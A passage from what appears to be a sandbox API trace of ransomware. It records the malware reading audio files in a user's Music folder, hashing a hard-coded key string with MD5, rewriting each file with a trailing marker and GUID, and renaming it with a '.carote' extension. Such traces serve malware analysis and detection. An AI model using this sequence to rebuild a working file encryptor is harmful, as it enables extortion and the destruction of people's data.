lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.089] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.089] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.089] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.090] CloseHandle (hObject=0x61c) returned 1 [0113.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0113.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0113.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0113.090] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\TtS5 r6- rR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\tts5 r6- rr.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\TtS5 r6- rR.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\tts5 r6- rr.wav.carote")) returned 1 [0113.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.091] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.092] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.092] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5affe530, ftCreationTime.dwHighDateTime=0x1d4d147, ftLastAccessTime.dwLowDateTime=0xceecbd0, ftLastAccessTime.dwHighDateTime=0x1d4d0a3, ftLastWriteTime.dwLowDateTime=0xceecbd0, ftLastWriteTime.dwHighDateTime=0x1d4d0a3, nFileSizeHigh=0x0, nFileSizeLow=0x151bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vHCrrM264OI56bmUA.wav", cAlternateFileName="VHCRRM~1.WAV")) returned 1 [0113.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.092] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.092] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\vHCrrM264OI56bmUA.wav") returned=".wav" [0113.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\vHCrrM264OI56bmUA.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\vhcrrm264oi56bmua.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.093] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=86463) returned 1 [0113.093] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.095] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15199, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.095] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.096] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.096] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.096] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.096] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x151bf, lpOverlapped=0x0) returned 1 [0113.097] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.097] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.097] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.097] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.097] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.098] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.098] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.098] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.098] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.098] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.098] GetLastError () returned 0x0 [0113.098] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.098] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.098] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.098] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x151c0) returned 0x7b182e0 [0113.098] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.098] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.098] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x151ba, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x151ba, lpOverlapped=0x0) returned 1 [0113.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.099] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x151bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.099] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.099] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.099] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.099] CloseHandle (hObject=0x61c) returned 1 [0113.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0113.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.101] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\vHCrrM264OI56bmUA.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\vhcrrm264oi56bmua.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\vHCrrM264OI56bmUA.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\vhcrrm264oi56bmua.wav.carote")) returned 1 [0113.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.102] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.103] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb3d7890, ftCreationTime.dwHighDateTime=0x1d4c53a, ftLastAccessTime.dwLowDateTime=0x81df7370, ftLastAccessTime.dwHighDateTime=0x1d4d3c5, ftLastWriteTime.dwLowDateTime=0x81df7370, ftLastWriteTime.dwHighDateTime=0x1d4d3c5, nFileSizeHigh=0x0, nFileSizeLow=0x152c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wShydfksN321xS UdL0.m4a", cAlternateFileName="WSHYDF~1.M4A")) returned 1 [0113.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.103] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\wShydfksN321xS UdL0.m4a") returned=".m4a" [0113.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\wShydfksN321xS UdL0.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\wshydfksn321xs udl0.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.103] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=86723) returned 1 [0113.103] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.105] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1529d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.105] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.106] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.106] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.106] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.106] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x152c3, lpOverlapped=0x0) returned 1 [0113.107] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.107] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.107] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.107] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.107] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.108] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.108] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.108] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.108] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.108] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.108] GetLastError () returned 0x0 [0113.108] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.108] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.108] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.108] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x152c0) returned 0x7b182e0 [0113.109] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.109] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.109] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x152be, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x152be, lpOverlapped=0x0) returned 1 [0113.109] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.109] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x152c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.109] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.109] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.109] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.109] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.110] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.110] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.110] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.110] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.110] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.110] CloseHandle (hObject=0x61c) returned 1 [0113.111] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.111] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0113.111] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.111] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\wShydfksN321xS UdL0.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\wshydfksn321xs udl0.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\wShydfksN321xS UdL0.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\wshydfksn321xs udl0.m4a.carote")) returned 1 [0113.111] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.112] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.112] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.112] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dd03fe0, ftCreationTime.dwHighDateTime=0x1d4d404, ftLastAccessTime.dwLowDateTime=0x9cf42af0, ftLastAccessTime.dwHighDateTime=0x1d4cd8c, ftLastWriteTime.dwLowDateTime=0x9cf42af0, ftLastWriteTime.dwHighDateTime=0x1d4cd8c, nFileSizeHigh=0x0, nFileSizeLow=0x73fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yCnnA0r.wav", cAlternateFileName="")) returned 1 [0113.112] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.112] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.112] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.113] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\yCnnA0r.wav") returned=".wav" [0113.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\yCnnA0r.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\ycnna0r.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.113] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=29692) returned 1 [0113.113] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.115] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x73d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.115] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.116] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.116] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.116] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.117] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x73fc, lpOverlapped=0x0) returned 1 [0113.117] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.117] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.117] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.117] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.117] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.118] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.118] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.118] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.118] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.118] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.118] GetLastError () returned 0x0 [0113.118] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.118] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.118] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.118] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7400) returned 0x7b182e0 [0113.118] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.119] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.119] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x73f7, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x73f7, lpOverlapped=0x0) returned 1 [0113.119] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.119] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x73fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.119] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.119] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.119] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.119] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.119] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.119] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.119] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.119] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.119] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.119] CloseHandle (hObject=0x61c) returned 1 [0113.120] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0113.120] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0113.120] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0113.120] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT 